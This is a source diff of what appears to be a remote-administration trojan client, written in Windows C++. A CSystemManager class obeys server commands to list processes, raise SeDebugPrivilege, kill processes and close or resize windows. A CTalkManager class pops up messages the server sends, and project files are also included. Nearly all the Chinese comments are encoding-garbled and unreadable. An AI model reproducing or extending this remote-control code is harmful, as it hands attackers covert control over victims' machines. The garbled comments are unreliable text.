|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
//<2F><EFBFBD><F2BFAABD>̲<EFBFBD><CCB2><EFBFBD><EFBFBD>ؾ<EFBFBD><D8BE><EFBFBD>
|
||||||
|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
|
||||||
|
FALSE, pe32.th32ProcessID); //<2F><><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// if ((pe32.th32ProcessID !=0) &&
|
||||||
|
// (pe32.th32ProcessID !=4))
|
||||||
|
{
|
||||||
|
//ö<>ٵ<EFBFBD>һ<EFBFBD><D2BB>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
|
||||||
|
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
DWORD dwReturn = GetModuleFileNameEx(hProcess, hModules,
|
||||||
|
szProcessFullPath,
|
||||||
|
sizeof(szProcessFullPath));
|
||||||
|
|
||||||
|
if (dwReturn==0)
|
||||||
|
{
|
||||||
|
strcpy(szProcessFullPath,"");
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>ռ<EFBFBD>õĻ<C3B5><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ǹ<EFBFBD><C7B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ݽṹ
|
||||||
|
// <20>˽<EFBFBD><CBBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||||
|
dwLength = sizeof(DWORD) +
|
||||||
|
lstrlen(pe32.szExeFile) + lstrlen(szProcessFullPath) + 2;
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̫С<CCAB><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (LocalSize(szBuffer) < (dwOffset + dwLength))
|
||||||
|
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
|
||||||
|
LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD><EFBFBD><EFBFBD><EFBFBD><F2BBBAB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ݽṹ<DDBD><E1B9B9>
|
||||||
|
//<2F><><EFBFBD><EFBFBD>ID+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0 <20><><EFBFBD><EFBFBD>
|
||||||
|
//<2F><>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0 <20><>β<EFBFBD><CEB2>
|
||||||
|
memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
|
||||||
|
dwOffset += sizeof(DWORD);
|
||||||
|
|
||||||
|
memcpy(szBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1);
|
||||||
|
dwOffset += lstrlen(pe32.szExeFile) + 1;
|
||||||
|
|
||||||
|
memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1);
|
||||||
|
dwOffset += lstrlen(szProcessFullPath) + 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
while(Process32Next(hSnapshot, &pe32)); //<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
DebugPrivilege(SE_DEBUG_NAME,FALSE); //<2F><>ԭ<EFBFBD><D4AD>Ȩ
|
||||||
|
CloseHandle(hSnapshot); //<2F>ͷž<CDB7><C5BE><EFBFBD>
|
||||||
|
return szBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
CSystemManager::~CSystemManager()
|
||||||
|
{
|
||||||
|
cout<<"ϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<<endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
|
||||||
|
{
|
||||||
|
BOOL bResult = TRUE;
|
||||||
|
HANDLE hToken;
|
||||||
|
TOKEN_PRIVILEGES TokenPrivileges;
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD> Token <20><><EFBFBD><EFBFBD>
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(),
|
||||||
|
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||||
|
{
|
||||||
|
bResult = FALSE;
|
||||||
|
return bResult;
|
||||||
|
}
|
||||||
|
TokenPrivileges.PrivilegeCount = 1;
|
||||||
|
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
|
||||||
|
|
||||||
|
LookupPrivilegeValue(NULL, szName, &TokenPrivileges.Privileges[0].Luid);
|
||||||
|
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||||||
|
if (GetLastError() != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
bResult = FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
return bResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch(szBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_PSLIST:
|
||||||
|
{
|
||||||
|
SendProcessList();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_KILLPROCESS:
|
||||||
|
{
|
||||||
|
KillProcess((LPBYTE)szBuffer + 1, ulLength - 1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_WSLIST:
|
||||||
|
{
|
||||||
|
SendWindowsList();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_WINDOW_CLOSE:
|
||||||
|
{
|
||||||
|
HWND hWnd = *((HWND*)(szBuffer+1));
|
||||||
|
|
||||||
|
::PostMessage(hWnd,WM_CLOSE,0,0);
|
||||||
|
|
||||||
|
Sleep(100);
|
||||||
|
SendWindowsList();
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
TestWindow(szBuffer+1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CSystemManager::TestWindow(LPBYTE szBuffer) //<2F><><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD> <20><>С <20><><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ﴦ<EFBFBD><EFB4A6>
|
||||||
|
{
|
||||||
|
DWORD Hwnd;
|
||||||
|
DWORD dHow;
|
||||||
|
memcpy((void*)&Hwnd,szBuffer,sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
|
||||||
|
memcpy(&dHow,szBuffer+sizeof(DWORD),sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
ShowWindow((HWND__ *)Hwnd,dHow);
|
||||||
|
//<2F><><EFBFBD>ھ<EFBFBD><DABE><EFBFBD> <20><>ɶ(<28><> С <20><><EFBFBD><EFBFBD> <20><>ԭ)
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength)
|
||||||
|
{
|
||||||
|
HANDLE hProcess = NULL;
|
||||||
|
DebugPrivilege(SE_DEBUG_NAME, TRUE); //<2F><>Ȩ
|
||||||
|
|
||||||
|
for (int i = 0; i < ulLength; i += 4)
|
||||||
|
//<2F><>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF>ܸ<EFBFBD><DCB8><EFBFBD>ֹ<EFBFBD><D6B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
//<2F><EFBFBD><F2BFAABD><EFBFBD>
|
||||||
|
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(szBuffer + i));
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TerminateProcess(hProcess, 0);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
}
|
||||||
|
DebugPrivilege(SE_DEBUG_NAME, FALSE); //<2F><>ԭ<EFBFBD><D4AD>Ȩ
|
||||||
|
// <20><><EFBFBD><EFBFBD>Sleep<65>£<EFBFBD><C2A3><EFBFBD>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD>
|
||||||
|
Sleep(100);
|
||||||
|
}
|
||||||
|
|
||||||
|
LPBYTE CSystemManager::GetWindowsList()
|
||||||
|
{
|
||||||
|
LPBYTE szBuffer = NULL; //char* p = NULL &p
|
||||||
|
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //ע<>ắ<EFBFBD><E1BAAF>
|
||||||
|
//<2F><><EFBFBD><EFBFBD>API<50><49><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>к<EFBFBD><D0BA><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳע<CDB3><D7A2>һ<EFBFBD><D2BB> <20>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
szBuffer[0] = TOKEN_WSLIST;
|
||||||
|
return szBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ<><D2AA><EFBFBD><EFBFBD> **
|
||||||
|
{
|
||||||
|
DWORD dwLength = 0;
|
||||||
|
DWORD dwOffset = 0;
|
||||||
|
DWORD dwProcessID = 0;
|
||||||
|
LPBYTE szBuffer = *(LPBYTE *)lParam;
|
||||||
|
|
||||||
|
char szTitle[1024];
|
||||||
|
memset(szTitle, 0, sizeof(szTitle));
|
||||||
|
//<2F>õ<EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>ݽ<EFBFBD><DDBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ڱ<EFBFBD><DAB1><EFBFBD>
|
||||||
|
GetWindowText(hWnd, szTitle, sizeof(szTitle));
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||||
|
if (!IsWindowVisible(hWnd) || lstrlen(szTitle) == 0)
|
||||||
|
return true;
|
||||||
|
//ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ
|
||||||
|
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
//[<5B><>Ϣ][4Notepad.exe\0]
|
||||||
|
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
|
||||||
|
dwOffset = LocalSize(szBuffer); //1
|
||||||
|
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㻺<EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
||||||
|
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0
|
||||||
|
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
|
||||||
|
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);
|
||||||
|
|
||||||
|
*(LPBYTE *)lParam = szBuffer;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
31
client/SystemManager.h
Normal file
31
client/SystemManager.h
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
// SystemManager.h: interface for the CSystemManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||||
|
#define AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
class CSystemManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CSystemManager(IOCPClient* ClientObject,BOOL bHow);
|
||||||
|
virtual ~CSystemManager();
|
||||||
|
LPBYTE CSystemManager::GetProcessList();
|
||||||
|
VOID CSystemManager::SendProcessList();
|
||||||
|
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable);
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength);
|
||||||
|
LPBYTE CSystemManager::GetWindowsList();
|
||||||
|
static BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam);
|
||||||
|
void CSystemManager::SendWindowsList();
|
||||||
|
void CSystemManager::TestWindow(LPBYTE szBuffer);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)
|
||||||
152
client/TalkManager.cpp
Normal file
152
client/TalkManager.cpp
Normal file
@@ -0,0 +1,152 @@
|
|||||||
|
// TalkManager.cpp: implementation of the CTalkManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "TalkManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include "resource.h"
|
||||||
|
#include <IOSTREAM>
|
||||||
|
#include <mmsystem.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "WINMM.LIB")
|
||||||
|
using namespace std;
|
||||||
|
#define ID_TIMER_POP_WINDOW 1
|
||||||
|
#define ID_TIMER_DELAY_DISPLAY 2
|
||||||
|
#define ID_TIMER_CLOSE_WINDOW 3
|
||||||
|
|
||||||
|
#define WIN_WIDTH 120
|
||||||
|
#define WIN_HEIGHT 120
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
char g_Buffer[0x1000] = {0};
|
||||||
|
UINT_PTR g_Event = 0;
|
||||||
|
|
||||||
|
IOCPClient* g_IOCPClientObject = NULL;
|
||||||
|
|
||||||
|
extern HINSTANCE g_hInstance;
|
||||||
|
|
||||||
|
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
g_IOCPClientObject = ClientObject;
|
||||||
|
WaitForDialogOpen();
|
||||||
|
}
|
||||||
|
|
||||||
|
CTalkManager::~CTalkManager()
|
||||||
|
{
|
||||||
|
cout<<"Talk <20><><EFBFBD><EFBFBD>"<<endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch(szBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_NEXT:
|
||||||
|
{
|
||||||
|
NotifyDialogIsOpen();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
memcpy(g_Buffer, szBuffer, ulLength);
|
||||||
|
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
||||||
|
|
||||||
|
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||||
|
NULL,DialogProc); //SDK C MFC C++
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
|
||||||
|
WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
switch(uMsg)
|
||||||
|
{
|
||||||
|
case WM_TIMER:
|
||||||
|
{
|
||||||
|
OnDlgTimer(hDlg);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case WM_INITDIALOG:
|
||||||
|
{
|
||||||
|
OnInitDialog(hDlg);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CTalkManager::OnInitDialog(HWND hDlg)
|
||||||
|
{
|
||||||
|
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
|
||||||
|
|
||||||
|
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
|
||||||
|
|
||||||
|
memset(g_Buffer,0,sizeof(g_Buffer));
|
||||||
|
|
||||||
|
g_Event = ID_TIMER_POP_WINDOW;
|
||||||
|
SetTimer(hDlg, g_Event, 1, NULL); //ʱ<>ӻص<D3BB>
|
||||||
|
|
||||||
|
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
|
||||||
|
g_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ<>ӻص<D3BB>
|
||||||
|
{
|
||||||
|
RECT Rect;
|
||||||
|
static int Height=0;
|
||||||
|
SystemParametersInfo(SPI_GETWORKAREA, 0, &Rect,0);
|
||||||
|
int y=Rect.bottom-Rect.top;;
|
||||||
|
int x=Rect.right-Rect.left;
|
||||||
|
x=x-WIN_WIDTH;
|
||||||
|
|
||||||
|
switch(g_Event)
|
||||||
|
{
|
||||||
|
case ID_TIMER_CLOSE_WINDOW:
|
||||||
|
{
|
||||||
|
if(Height>=0)
|
||||||
|
{
|
||||||
|
Height-=5;
|
||||||
|
MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||||
|
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
|
g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||||
|
EndDialog(hDlg,0);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case ID_TIMER_DELAY_DISPLAY:
|
||||||
|
{
|
||||||
|
KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY);
|
||||||
|
g_Event = ID_TIMER_CLOSE_WINDOW;
|
||||||
|
SetTimer(hDlg,g_Event, 5, NULL);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case ID_TIMER_POP_WINDOW:
|
||||||
|
{
|
||||||
|
if(Height<=WIN_HEIGHT)
|
||||||
|
{
|
||||||
|
Height+=3;
|
||||||
|
MoveWindow(hDlg ,x, y-Height, WIN_WIDTH, Height,TRUE);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
KillTimer(hDlg,ID_TIMER_POP_WINDOW);
|
||||||
|
g_Event = ID_TIMER_DELAY_DISPLAY;
|
||||||
|
SetTimer(hDlg,g_Event, 4000, NULL);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
28
client/TalkManager.h
Normal file
28
client/TalkManager.h
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
// TalkManager.h: interface for the CTalkManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||||
|
#define AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
|
||||||
|
class CTalkManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CTalkManager(IOCPClient* ClientObject, int n);
|
||||||
|
virtual ~CTalkManager();
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
static int CALLBACK DialogProc(HWND hDlg, unsigned int uMsg,
|
||||||
|
WPARAM wParam, LPARAM lParam);
|
||||||
|
|
||||||
|
static VOID OnInitDialog(HWND hDlg);
|
||||||
|
static VOID OnDlgTimer(HWND hDlg);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||||
BIN
client/TestRun.rc
Normal file
BIN
client/TestRun.rc
Normal file
Binary file not shown.
78
client/TestRun.vcxproj
Normal file
78
client/TestRun.vcxproj
Normal file
@@ -0,0 +1,78 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
|
||||||
|
<RootNamespace>TestRun</RootNamespace>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup />
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="test.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="resource1.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="TestRun.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
32
client/TestRun.vcxproj.filters
Normal file
32
client/TestRun.vcxproj.filters
Normal file
@@ -0,0 +1,32 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="源文件">
|
||||||
|
